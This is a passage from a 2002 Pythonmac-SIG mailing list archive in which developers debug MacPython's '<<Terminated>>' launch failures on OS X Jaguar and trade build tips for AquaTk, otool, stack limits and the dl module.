consistently fails with <<Terminated>>, and EditPythonPrefs failed with
<<Terminated>> until I tossed the Prefs folder, then worked OK. Tossing =
the
Prefs folder did not affect the Interpreter failures.

By the way, ConfigurePythonCarbon also fails with <<Terminated>> even =
after
removing the Prefs. Of course, Python is already configured carbon, but =
I
thought it might be significant that the configurator would fail in the =
same
way. I remember running it apparently successfully after the install, =
and
the IDE definitely works in OSX.

Jim Harrison
Univ. of Pittsburgh


From stephenm@humongous.com  Thu Oct 10 17:41:08 2002
From: stephenm@humongous.com (Magladry, Stephen)
Date: Thu, 10 Oct 2002 09:41:08 -0700
Subject: [Pythonmac-SIG] Re: MacPython on jaguar
Message-ID: <151590CD351823429A7EBA135BEEAD5801ADE858@sea-horse.humongous.com>

You said dump... so here are some of my thoughts.

I was experiencing the "terminated" problem a couple of months back. It was
happening maybe one time in twenty. It seemed to be really inconsistent,
too. I could happen three times in a row, followed by no happening for the
rest of the day. I strongly believe this to be some kind of path problem. At
the time, I had two versions of Python installed and had paths crossed up in
my prefs file. Since I fixed that problem I haven't experience the
"terminated" problem.

Could it also some how be related to how sys.path differs depending on where
the .py file starts from? This is an e-mail Jack sent me a couple of months
back responding to a problem I was experiencing.


-----begin old message-----------------
On woensdag, sep 4, 2002, at 11:15 US/Pacific, Magladry, Stephen wrote:

> Problem solved I have a weird path problem.
>
> By dropping btest.py on PythonInterpreter the paths where setup 
> correctly.
> Using the PythonInterpreter and doing the import and the paths were
> incorrect. Now I get to figure out why my paths are incorrect.
>
Actually, the paths were correct in both cases, but maybe not what you 
expected:-).

If you run a script then the scripts' directory is in sys.path. If you 
don't run a script but an interactive interpreter then Python's home 
directory is in sys.path.
----- end old message -----------------



Couple of my ideas,


Stephen Magladry


From tony@lownds.com  Thu Oct 10 17:55:31 2002
From: tony@lownds.com (Tony Lownds)
Date: Thu, 10 Oct 2002 09:55:31 -0700
Subject: [Pythonmac-SIG] AquaTk?
In-Reply-To: <15781.35041.478957.835539@montanaro.dyndns.org>
References: <15781.35041.478957.835539@montanaro.dyndns.org>
Message-ID: <a05111700b9cb604840f7@[10.0.1.8]>

--============_-1177853558==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Hi Skip,

AquaTk is just Tk and lives with Tcl at http://tcl.sf.net

The best way I know to get it installed is either to download a 
binary from Daniel Steffen's page 
http://www.maths.mq.edu.au/~steffen/ or follow some instructions he 
posted to tcl-mac@lists.sourceforge.net

	mkdir -p /tmp/tcltk/
	cd /tmp/tcltk/
	curl -O 
http://telia.dl.sourceforge.net/sourceforge/tcl/tcl8.4.0-src.tar.gz
	curl -O 
http://telia.dl.sourceforge.net/sourceforge/tcl/tk8.4.0-src.tar.gz
	tar zxf tcl8.4.0-src.tar.gz; ln -fs tcl8.4.0 tcl
	tar zxf tk8.4.0-src.tar.gz; ln -fs tk8.4.0 tk

	pushd tcl/macosx
	make
	sudo make install
	popd

	cp tk/generic/prolog.ps tk/library
	pushd tk/macosx
	make
	sudo make install
	popd

Python 2.3 will find AquaTk and build Tkinter automatically.

-Tony

At 9:04 AM -0500 10/10/02, Skip Montanaro wrote:
>I'm just getting started with Python on MacOSX (10.2.1 actually).  So far
>I've just been building vanilla Python.  I want to now build a version with
>the relevant Mac bells-n-whistles.  In looking at the Mac/OSX/README file, I
>saw references to several extra packages: Waste, AquaTk and pyobjc.  I found
>Waste and pyobjc, but haven't been able to track down AquaTk.  Where does it
>live?  Any other little tricks I should know?
>
>Thx,
>
>--
>Skip Montanaro - skip@pobox.com
>"Airplanes don't fly until the paperwork equals the weight of the
>aircraft. Same with i18N." - from the "Perl, Unicode and i18N FAQ"
>
>_______________________________________________
>Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org
>http://mail.python.org/mailman/listinfo/pythonmac-sig

--============_-1177853558==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { padding-top: 0 ; padding-bottom: 0 }
 --></style><title>Re: [Pythonmac-SIG] AquaTk?</title></head><body>
<div>Hi Skip,</div>
<div><br></div>
<div>AquaTk is just Tk and lives with Tcl at http://tcl.sf.net</div>
<div><br></div>
<div>The best way I know to get it installed is either to download a
binary from Daniel Steffen's page<font face="Helvetica" size="+2"
color="#000000"> http://www.maths.mq.edu.au/~steffen/</font> or follow
some instructions he posted to tcl-mac@lists.sourceforge.net</div>
<div><br></div>
<div><font face="Helvetica" size="+2"
color="#000000"><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>mkdir -p /tmp/tcltk/<br>
<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>cd /tmp/tcltk/<br>
<x-tab>&nbsp; </x-tab>curl -O
http://telia.dl.sourceforge.net/sourceforge/tcl/tcl8.4.0-src.tar.gz<br
>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>curl -O
http://telia.dl.sourceforge.net/sourceforge/tcl/tk8.4.0-src.tar.gz<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>tar zxf
tcl8.4.0-src.tar.gz; ln -fs tcl8.4.0 tcl<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>tar zxf
tk8.4.0-src.tar.gz; ln -fs tk8.4.0 tk<br>
<br>
<x-tab>&nbsp;&nbsp; </x-tab>pushd tcl/macosx<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>make<br>
<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>sudo make install<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>popd<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>cp tk/generic/prolog.ps
tk/library<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>pushd tk/macosx<br>
<x-tab> </x-tab>make<br>
<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>sudo make install</font></div>
<div><font face="Helvetica" size="+2"
color="#000000"><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>popd</font></div>
<div><font face="Helvetica" size="+2"
color="#000000"><br></font></div>
<div><font face="Helvetica" size="+2" color="#000000">Python 2.3 will
find AquaTk and build Tkinter automatically.</font></div>
<div><font face="Helvetica" size="+2"
color="#000000"><br></font></div>
<div><font face="Helvetica" size="+2"
color="#000000">-Tony</font></div>
<div><br></div>
<div>At 9:04 AM -0500 10/10/02, Skip Montanaro wrote:</div>
<blockquote type="cite" cite>I'm just getting started with Python on
MacOSX (10.2.1 actually).&nbsp; So far<br>
I've just been building vanilla Python.&nbsp; I want to now build a
version with<br>
the relevant Mac bells-n-whistles.&nbsp; In looking at the
Mac/OSX/README file, I<br>
saw references to several extra packages: Waste, AquaTk and pyobjc.&nbsp;
I found<br>
Waste and pyobjc, but haven't been able to track down AquaTk.&nbsp;
Where does it<br>
live?&nbsp; Any other little tricks I should know?<br>
<br>
Thx,<br>
<br>
--<br>
Skip Montanaro - skip@pobox.com<br>
&quot;Airplanes don't fly until the paperwork equals the weight of
the<br>
aircraft. Same with i18N.&quot; - from the &quot;Perl, Unicode and
i18N FAQ&quot;<br>
<br>
_______________________________________________<br>
Pythonmac-SIG maillist&nbsp; -&nbsp; Pythonmac-SIG@python.org<br>
http://mail.python.org/mailman/listinfo/pythonmac-sig</blockquote>
<div><br></div>
</body>
</html>
--============_-1177853558==_ma============--


From tony@lownds.com  Thu Oct 10 18:00:48 2002
From: tony@lownds.com (Tony Lownds)
Date: Thu, 10 Oct 2002 10:00:48 -0700
Subject: [Pythonmac-SIG] -R, -L, ldd, and the meaning of life...
In-Reply-To: <15781.39074.351014.338997@montanaro.dyndns.org>
References: <15781.39074.351014.338997@montanaro.dyndns.org>
Message-ID: <a05111701b9cb61ad94c7@[204.162.121.132]>

>Also, is there a MacOSX equivalent of the ldd command?  On Linux and Solaris
>it displays the library dependencies for a dynamically linked executable or
>shared object, e.g.:

otool -L

-Tony


From sdm7g@mac.com  Thu Oct 10 18:25:42 2002
From: sdm7g@mac.com (Steven Majewski)
Date: Thu, 10 Oct 2002 13:25:42 -0400
Subject: [Pythonmac-SIG] Re: [ python-Patches-580869 ] Fix for seg fault on test_re on mac osx
In-Reply-To: <E17zfgy-0003LL-00@usw-sf-web3.sourceforge.net>
Message-ID: <4D738225-DC75-11D6-9E46-003065A7CFBA@mac.com>

Got this on a patch I filed quite a while ago to fix the problem of
seg faulting on test_re if you don't do a  limit or ulimit from the
shell before running the tests.

I verified that this still works for me and that I'm NOT running as root.

But I haven't upgraded to 10.2 yet: Maybe this is a 10.1 vs. 10.2 problem 
?
Can a few of you out there give the following 3 lines a try under either 10.
1
and/or 10.2 and tell me if it works for you ? :



import resource
soft, hard = resource.getrlimit(resource.RLIMIT_STACK )
resource.setrlimit( resource.RLIMIT_STACK, (1024 * 2048, hard))


-- Steve Majewski


On Thursday, October 10, 2002, at 11:57  AM, noreply@sourceforge.net wrote:

> Patches item #580869, was opened at 2002-07-12 22:15
> You can respond by visiting:
> https://sourceforge.net/tracker/?func=detail&atid=305470&aid=580869&group_id=
> 5470
>
> Category: Tests
> Group: Python 2.3
> Status: Open
> Resolution: None
> Priority: 5
> Submitted By: Steven D. Majewski (sdm7g)
> Assigned to: Barry A. Warsaw (bwarsaw)
> Summary: Fix for seg fault on test_re on mac osx
>
> Initial Comment:
>
>
>     import resource
>     soft, hard = resource.getrlimit(
> resource.RLIMIT_STACK )
>     resource.setrlimit( resource.RLIMIT_STACK, (1024 *
> 2048, hard))
>
>
> is the python equivalent of the tcsh 'limit stack 2048'
> and will
> keep python from seg faulting on test_re .
>
> ( maybe wrapped in a "if os.platform == 'darwin' : "  --
>   are there any other systems that have this problem ? )
>
> -- Steve Majewski
>
>
> ----------------------------------------------------------------------
>
>> Comment By: Skip Montanaro (montanaro)
> Date: 2002-10-10 10:57
>
> Message:
> Logged In: YES
> user_id=44345
>
> I tried adding the above code to regrtest.py.  When I tried to
> run python regrtest.py test_re I got a ValueError exception:
> "not allowed to raise maximum limit".  I have no trouble using
> the ulimit builtin command to raise my stack size.  Steve,
> were you perhaps running as root when you tried this?
>
> ----------------------------------------------------------------------
>
> You can respond by visiting:
> https://sourceforge.net/tracker/?func=detail&atid=305470&aid=580869&group_id=
> 5470



From Jack.Jansen@oratrix.com  Wed Oct  9 15:58:10 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Wed, 9 Oct 2002 16:58:10 +0200
Subject: [Pythonmac-SIG] C++ extension on OS-X Jaguar
In-Reply-To: <70043964-DB09-11D6-ADF4-000393A96660@noaa.gov>
Message-ID: <86E9F9A5-DB97-11D6-9C56-003065517236@oratrix.com>

On woensdag, oktober 9, 2002, at 12:01 , Chris Barker wrote:
>
> The two I have that are written in C worked just fine out of 
> the box, compiled with the setup.py script I wrote under linux. 
> The third, written in C++, seems to compile just fine, but I 
> can't load it. I get a:

This just came by on another mailing list. The problem is that 
the link step is done with "gcc", not "g++", so you have to add 
the C++ library by hand. The easiest is to add an 
extra_link_libraries (iirc) flag to the setup.py file.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From Jack.Jansen@oratrix.com  Thu Oct 10 20:48:20 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Thu, 10 Oct 2002 21:48:20 +0200
Subject: [Pythonmac-SIG] -R, -L, ldd, and the meaning of life...
In-Reply-To: <15781.39074.351014.338997@montanaro.dyndns.org>
Message-ID: <3AE452AC-DC89-11D6-9207-003065517236@oratrix.com>

On donderdag, oktober 10, 2002, at 05:11 , Skip Montanaro wrote:

>
> In much of the Unixoid world, link editors understand a -R flag 
> and/or an
> LD_RUN_PATH environment variable (or something similar).  One 
> or the other
> tell the run-time linker to search the argument director(y|ies) 
> for shared
> libraries.

You don't normally need it for MacOSX. The output file will 
contain the full pathname for the .dylib used to resolve the 
library. This can then be modifed by a number of environment 
variables at runtime (some of which are appended to the dynamic 
library search path so they serve as a fallback, others are 
more-or-less prepended and allow you to load a dynamic library 
from a non-standard location even though the original exists). 
See "man dyld" for the gory details. So, -L is usually enough, 
but you have to be careful with relative pathnames to -L as 
these'll be recorded as relative pathnames in the resulting 
binary. Sometimes this is what you want, often it isn't.

> Also, is there a MacOSX equivalent of the ldd command?

otool will tell you pretty much anything you want to know.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From skip@pobox.com  Thu Oct 10 21:12:08 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 10 Oct 2002 15:12:08 -0500
Subject: [Pythonmac-SIG] -R, -L, ldd, and the meaning of life...
In-Reply-To: <3AE452AC-DC89-11D6-9207-003065517236@oratrix.com>
References: <15781.39074.351014.338997@montanaro.dyndns.org>
 <3AE452AC-DC89-11D6-9207-003065517236@oratrix.com>
Message-ID: <15781.57112.990944.519620@montanaro.dyndns.org>

    >> In much of the Unixoid world, link editors understand a -R flag
    >> and/or an LD_RUN_PATH environment variable (or something similar).
    >> One or the other tell the run-time linker to search the argument
    >> director(y|ies) for shared libraries.

    Jack> You don't normally need it for MacOSX....  See "man dyld" for the
    Jack> gory details. So, -L is usually enough, but you have to be careful
    Jack> with relative pathnames to -L as these'll be recorded as relative
    Jack> pathnames in the resulting binary. Sometimes this is what you
    Jack> want, often it isn't.

    >> Also, is there a MacOSX equivalent of the ldd command?

    Jack> otool will tell you pretty much anything you want to know.

Thanks to Jack and several others who replied privately with the sought
after information.  I will be careful about the relative paths.

Skip


From Jack.Jansen@oratrix.com  Thu Oct 10 21:16:39 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Thu, 10 Oct 2002 22:16:39 +0200
Subject: [Pythonmac-SIG] MacPython on jaguar
In-Reply-To: <r01050400-1021-65ADE960DC5C11D6B586003065D5E7E4@[10.0.0.23]>
Message-ID: <2F54EEA2-DC8D-11D6-9207-003065517236@oratrix.com>

On donderdag, oktober 10, 2002, at 04:27 , Just van Rossum wrote:

>>> - dropping Python IDE or PythonInterpreter onto EditPythonPrefs:
>>> <<terminated>>
>>> - dropping BuildApplet or BuildApplication onto EditPythonPrefs: no
>>> problem
>>  As an experiment, could you rename "Python IDE" to
>> "BuildApplet" and vice versa, and see what the results are then?

> I changed some filenames: no change in the above effects.

Uhm... What do you mean by "no change"? Do you mean that 
the-program-formerly-known-as-PythonIDE-but-now-called-BuildApplet 
still has the problem, or do you mean that 
the-program-formerly-known-as-BuildApplet-but-now-called-PythonIDE 
now has the problem? I.e. is the first guess that the problem is 
pathname-related or that it is content-related?

I did find an interesting possible race condition between the 
starting Python and the launching Finder, though. The loop to 
create argv uses GetNextEvent() (not WaitNextEvent) , and it 
simply calls it 100 times. And since Carbon the SystemTask() in 
that loop has gone too. So, it is conceivable that that loop 
finishes before the finder has been scheduled and had a chance 
to send its AppleEvent. I'll change the loop to use WNE(), and 
I'll try to get a 2.2.2b1 installer ready later tonight.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From neil_mayhew@sil.org  Thu Oct 10 21:47:23 2002
From: neil_mayhew@sil.org (Neil Mayhew)
Date: Thu, 10 Oct 2002 14:47:23 -0600
Subject: [Pythonmac-SIG] MacPython on jaguar
In-Reply-To: <2F54EEA2-DC8D-11D6-9207-003065517236@oratrix.com>
Message-ID: <B9CB437B.6CC6%neil_mayhew@sil.org>

on 10/10/2002 2:16 PM, Jack Jansen wrote:

> The loop to create argv uses GetNextEvent() (not WaitNextEvent) , and it
> simply calls it 100 times... So, it is conceivable that that loop finishe=
s
> before the finder has been scheduled and had a chance to send its AppleEv=
ent.

Based on what I am seeing, I=B9d say it=B9s highly likely this is the cause of
the problem.

> I'll change the loop to use WNE()

Rather than looping a fixed number of times, wouldn't it be better to wait
until an event does arrive? The OS more or less guarantees that either an
OAPP or an ODOC (or maybe PDOC) will be received.

--Neil



From niel_mayhew@mac.com  Thu Oct 10 22:40:40 2002
From: niel_mayhew@mac.com (Neil Mayhew)
Date: Thu, 10 Oct 2002 15:40:40 -0600
Subject: [Pythonmac-SIG] MacPython on jaguar
In-Reply-To: <B9CB437B.6CC6%neil_mayhew@sil.org>
Message-ID: <B9CB4FF8.6CC9%niel_mayhew@mac.com>

on 10/10/2002 2:47 PM, Neil Mayhew wrote:

>> The loop to create argv uses GetNextEvent() (not WaitNextEvent) , and it
>> simply calls it 100 times... So, it is conceivable that that loop finish=
es
>> before the finder has been scheduled and had a chance to send its AppleE=
vent.
>=20
> Based on what I am seeing, I=B9d say it=B9s highly likely this is the cause o=
f
> the problem.

FYI, I patched the loop counter in the binary of PythonCoreCarbon from 0x64
to 0x7FFF, and it seems to have improved things considerably (although not
completely). However, I had to reboot to get it to see the new code, and
this may have affected things too.

--Neil



From Jack.Jansen@oratrix.com  Thu Oct 10 22:55:06 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Thu, 10 Oct 2002 23:55:06 +0200
Subject: [Pythonmac-SIG] MacPython on jaguar
In-Reply-To: <B9CB437B.6CC6%neil_mayhew@sil.org>
Message-ID: <F061839A-DC9A-11D6-9207-003065517236@oratrix.com>

On donderdag, oktober 10, 2002, at 10:47 , Neil Mayhew wrote:

> on 10/10/2002 2:16 PM, Jack Jansen wrote:
>
>> The loop to create argv uses GetNextEvent() (not=20
>> WaitNextEvent) , and it
>> simply calls it 100 times... So, it is conceivable that that=20
>> loop finishes
>> before the finder has been scheduled and had a chance to send=20
>> its AppleEvent.
>
> Based on what I am seeing, I=92d say it=92s highly likely this is=20
> the cause of
> the problem.
>
>> I'll change the loop to use WNE()
>
> Rather than looping a fixed number of times, wouldn't it be=20
> better to wait
> until an event does arrive?

It's been *very* long, but I remember that the loop was needed,=20
although I don't remember why. Maybe the CodeWarrior debugger=20
doesn't send the OAPP event if you run a program? I'm sorry, I=20
simply don't remember. But, in the upcoming 222b1 (due in a few=20
minutes) I've changed the loop to use 100 WaitNextEvent calls=20
with a 1-tick timeout. Let's see whether that fixes the problem.

And thanks for trying to up the loop count, that makes me more=20
hopeful that the solution I tried will work...
> --
- Jack Jansen        <Jack.Jansen@oratrix.com>       =20
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution --=20
Emma Goldman -



From Jack.Jansen@oratrix.com  Thu Oct 10 23:06:31 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Fri, 11 Oct 2002 00:06:31 +0200
Subject: [Pythonmac-SIG] For your eyes only
Message-ID: <88520A20-DC9C-11D6-9207-003065517236@oratrix.com>

Folks,
I've created a quick-and-dirty MacPython 2.2.2b1 distribution 
for your eyes only. Please do *NOT* advertise this outside this 
forum: I haven't received my Installer VISE 8 license yet, so 
technically I'm violating it by distributing this installer. The 
solution, of course, is that for the next week you are now all 
Official MacPython Co-Developers, and thereby this isn't a 
distribution:-)

I've added some measures that may help the <<terminated>> 
problem, and added some debug output too, so especially people 
experiencing these problems are requested to try this. But 
really: everyone should download and try it (it will not 
conflict with your existing 2.2.1 installation) and tell me what 
I missed.

The installer will be available shortly, at 
http://www.cwi.nl/~jack/secret/MacPython222b1full.hqx . 
MacBinary format, source, etc. will follow and things will move 
to the normal location when I get the VISE license, but it could 
well be that 222 final is due by that time, so *please* try this.

Oh yes: I think the warning about ConfigurePython failing on OSX 
can go, I'm not seeing the problem any more, at least. If 
someone does see it: please let me know!
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From niel_mayhew@mac.com  Fri Oct 11 00:18:46 2002
From: niel_mayhew@mac.com (Neil Mayhew)
Date: Thu, 10 Oct 2002 17:18:46 -0600
Subject: [Pythonmac-SIG] For your eyes only
In-Reply-To: <88520A20-DC9C-11D6-9207-003065517236@oratrix.com>
Message-ID: <B9CB66F6.6CD3%niel_mayhew@mac.com>

Thanks, Jack, for your quick response on this problem.

I hate to disappoint you, but I was unable to run ConfigurePythonCarbon. It
immediately came up with <<terminated>>. I tried a reboot, just to make
sure, but this made no difference.

So I can't get started, because I have no IDE and no Interpreter! I
bootstrapped myself in the previous installation by running
ConfigurePython.py manually, although now I can't see how I did that without
Interpreter or IDE. Maybe I just got lucky and it ran partway once, as far
as the problem with touching /Library/CFM Support, and then was able to fix
that and bootstrap the rest of the way.

However, since it doesn't even run partway this time, I tried copying
PythonInterpreterCarbon, changing the type from Atmp to APPL, and dropping
ConfigurePython.py onto it. Still gives <<terminated>>.

I tried removing "Python 2.2.2b1+ Preferences", which didn't help, although
ConfigurePythonCarbon did manage to recreate it (correctly).

What do you suggest?

--Neil



From tony@lownds.com  Fri Oct 11 01:32:55 2002
From: tony@lownds.com (Tony Lownds)
Date: Thu, 10 Oct 2002 17:32:55 -0700
Subject: [Pythonmac-SIG] For your eyes only
In-Reply-To: <88520A20-DC9C-11D6-9207-003065517236@oratrix.com>
References: <88520A20-DC9C-11D6-9207-003065517236@oratrix.com>
Message-ID: <a05111717b9cbcb43000d@[204.162.121.132]>

Hi Jack,

Running 10.2.1, NOT installing Classic, just the Carbon stuff plus 
the Developer stuff:

When the installer ran ConfigurePythonCarbon, it told me "Could not 
install system-wide".

Thanks
-Tony

At 12:06 AM +0200 10/11/02, Jack Jansen wrote:
>Folks,
>I've created a quick-and-dirty MacPython 2.2.2b1 distribution for 
>your eyes only. Please do *NOT* advertise this outside this forum: I 
>haven't received my Installer VISE 8 license yet, so technically I'm 
>violating it by distributing this installer. The solution, of 
>course, is that for the next week you are now all Official MacPython 
>Co-Developers, and thereby this isn't a distribution:-)
>
>I've added some measures that may help the <<terminated>> problem, 
>and added some debug output too, so especially people experiencing 
>these problems are requested to try this. But really: everyone 
>should download and try it (it will not conflict with your existing 
>2.2.1 installation) and tell me what I missed.
>
>The installer will be available shortly, at 
>http://www.cwi.nl/~jack/secret/MacPython222b1full.hqx . MacBinary 
>format, source, etc. will follow and things will move to the normal 
>location when I get the VISE license, but it could well be that 222 
>final is due by that time, so *please* try this.
>
>Oh yes: I think the warning about ConfigurePython failing on OSX can 
>go, I'm not seeing the problem any more, at least. If someone does 
>see it: please let me know!
>--
>- Jack Jansen        <Jack.Jansen@oratrix.com>       
>http://www.cwi.nl/~jack -
>- If I can't dance I don't want to be part of your revolution -- 
>Emma Goldman -
>
>
>_______________________________________________
>Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org
>http://mail.python.org/mailman/listinfo/pythonmac-sig



From jhrsn@pitt.edu  Fri Oct 11 03:28:39 2002
From: jhrsn@pitt.edu (Jim Harrison)
Date: Thu, 10 Oct 2002 22:28:39 -0400
Subject: [Pythonmac-SIG] For your eyes only -- Findings!!!
In-Reply-To: <88520A20-DC9C-11D6-9207-003065517236@oratrix.com>
Message-ID: <B9CBAF97.15311%jhrsn@pitt.edu>

on 10/10/02 6:06 PM, Jack Jansen at Jack.Jansen@oratrix.com wrote:

> I've created a quick-and-dirty MacPython 2.2.2b1 distribution
> for your eyes only.

MacOSX 10.2.1, 550 TiBook

2.2.2b1 standard install worked perfectly, including automatic
configuration. EditPythonPrefs runs about 99% of the time. The IDE works
fine every time.

On a double click, PythonInterpreter works the first time, then
<<Terminated>> each time after that. Manipulating the context (switching to
another program or starting/quitting another program) usually revives PI for
one run, then <<Terminated>> after that.

Here's the killer: drag and drop onto the PI *works perfectly* provided that
the name of the file dropped is no more than *6 characters long*, including
the .py extension (!!). This is perfectly reproducible on my machine and
works with any file of any spelling as far as I can tell. For example,
inventory.py, inventor.py, invento.py, etc. all fail with <<Terminated>>
down to inv.py (and in.py, etc), which works perfectly.

I still have my 2.2.1 MacPython in a separate folder. The PI there still
does not run at all on a double click (--> <<Terminated>>), but the drag and
drop filename affects are similar to 2.2.2b1, but longer and more variable.
Sometimes a 9-10 letter filename (including.py) will be accepted and
sometimes you have to drop back to 7 letters or so to get it to execute.

Is it possible that the problems with running on a double click are related
to this, i.e., that the PI starts up with a "default" filename that could
vary depending on the circumstances (or whose name might be at the boundary
of what's accepted)?

Jim Harrison
Univ. of Pittsburgh


From skip@pobox.com  Fri Oct 11 14:21:45 2002
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 11 Oct 2002 08:21:45 -0500
Subject: [Pythonmac-SIG] no 'dl' module?
Message-ID: <15782.53353.212468.781659@montanaro.dyndns.org>

Trying to build a Unix-flavor Python from current CVS, I find I can't create
the dl extension:

    running build
    running build_ext
    building 'dl' extension
    gcc -bundle -bundle_loader python.exe build/temp.darwin-6.1-Power Macintosh-2.3/dlmodule.o -L/Users/skip/local/lib -L/sw/lib -L/usr/local/lib -o build/lib.darwin-6.1-Power Macintosh-2.3/dl.so
    ld: Undefined symbols:
    _dlclose
    _dlerror
    _dlopen
    _dlsym

Is this to be expected?  Is there some way to get this working?  I
configured using 

    configure --with-dyld --prefix=/Users/skip/local

Thx,

-- 
Skip Montanaro - skip@pobox.com
"Airplanes don't fly until the paperwork equals the weight of the
aircraft. Same with i18N." - from the "Perl, Unicode and i18N FAQ"


From Jack.Jansen@cwi.nl  Fri Oct 11 14:39:34 2002
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Fri, 11 Oct 2002 15:39:34 +0200
Subject: [Pythonmac-SIG] no 'dl' module?
In-Reply-To: <15782.53353.212468.781659@montanaro.dyndns.org>
Message-ID: <E0901ACD-DD1E-11D6-99E1-0030655234CE@cwi.nl>

On Friday, Oct 11, 2002, at 15:21 Europe/Amsterdam, Skip Montanaro 
wrote:

> Trying to build a Unix-flavor Python from current CVS, I find I can't 
> create
> the dl extension:

MacOSX doesn't have the dl library. If you have installed it yourself 
trough fink or somesuch then you'll probably have to tell setup.py 
where it is.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From Jack.Jansen@cwi.nl  Fri Oct 11 15:05:57 2002
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Fri, 11 Oct 2002 16:05:57 +0200
Subject: [Pythonmac-SIG] For your eyes only -- Findings!!!
In-Reply-To: <B9CBAF97.15311%jhrsn@pitt.edu>
Message-ID: <9037ECFA-DD22-11D6-99E1-0030655234CE@cwi.nl>

The saga continues.

I am now able to trigger the problem on my work machine (but only 
there), a 450Mhz G4 tower running 10.2.1. After I managed to get the 
CW7 debugger working under Jaguar (the trick, in case you're 
interested, is replacing CodeWarrior's private gdb (CW_GDB.bin in the 
Debuggers folder) by Jaguar's gdb) I tried to run 
PythonStandSmallCarbon and found one bug: the GUSI initialization code 
doesn't HLock() the preference handle before using it. Fixing this made 
PythonStandSmallCarbon run, but made no difference for the normal 
Python.

Unfortunately, if I compile PythonCoreCarbon in debugging mode the 
problem disappears completely for me, everything works fine. At least, 
I've tried various things and can't make it happen again.

So, what I've done is I've created an archive with PythonCoreCarbon in 
debugging mode, plus the accompanying .xSYM file and put that at 
<http://www.cwi.nl/~jack/secret/PythonCoreCarbon-Replacement.sit>.

What I would like best is if people with access to CW could try this. 
If we can find out who is calling exit() we should be half-way there.
What I would like too is if people without CW try this, just to see 
whether turning on debugging somehow magically makes the problem 
disappear.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From jhrsn@pitt.edu  Fri Oct 11 15:36:41 2002
From: jhrsn@pitt.edu (Jim Harrison)
Date: Fri, 11 Oct 2002 10:36:41 -0400
Subject: [Pythonmac-SIG] For your eyes only
In-Reply-To: <9037ECFA-DD22-11D6-99E1-0030655234CE@cwi.nl>
Message-ID: <B9CC5A39.153A5%jhrsn@pitt.edu>

on 10/11/02 10:05 AM, Jack Jansen at Jack.Jansen@cwi.nl wrote:

> What I would like too is if people without CW try this, just to see
> whether turning on debugging somehow magically makes the problem
> disappear.

Copied the new PythonCoreCarbon + debugging into 2.2.2b1.

IDE runs fine.
EditPythonPrefs runs fine.
PI runs only occasionally on double-click (ie, problem worse than =
before).
PI totally unresponsive to dropped files no matter what the filename =
length
(<<Terminated>>). Very different from last night.

Went back to 2.2.1 in another folder with prev PythonCoreCarbon.
I couldn=B9t get PI to run on a double-click (similar to before).
Dropped files do not run at all on PI no matter what the filename =
length.
Also completely different from last night.

I swear the filename length stuff was working perfectly reproducibly =
last
night. All files with name lengths less than the cutoff worked =
perfectly
when dropped on the PI; greater than the cutoff failed with =
<<Terminated>>.
The only thing that's happened since then is that the machine was =
restarted.

OSX 10.2.1, TiBook 550

Jim Harrison
Univ. of Pittsburgh


From Jack.Jansen@cwi.nl  Fri Oct 11 15:57:49 2002
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Fri, 11 Oct 2002 16:57:49 +0200
Subject: [Pythonmac-SIG] MacPython OSX problems - I think I found it...
Message-ID: <CF3BC885-DD29-11D6-99E1-0030655234CE@cwi.nl>

I think I found the problem. My HLock() guess was close, but no cigar. 
The problem seems to be GUSIConfig.cpp declares a structure that is 
supposed to match the layout of the GUSI resource, and it uses that 
structure to initialize various fields. *However* the structure 
contains an unaligned OSType, so (for PPC) this will be aligned to the 
next 4-byte boundary. So, that field and all following fields contain 
garbage. The important one is the last field, "numsuffixes", as this 
value is used to allocate an array. As long as the two bytes following 
the the resource in memory are zero (or another innocent value) there's 
no problem. But if these bytes have a funny value (negative, for 
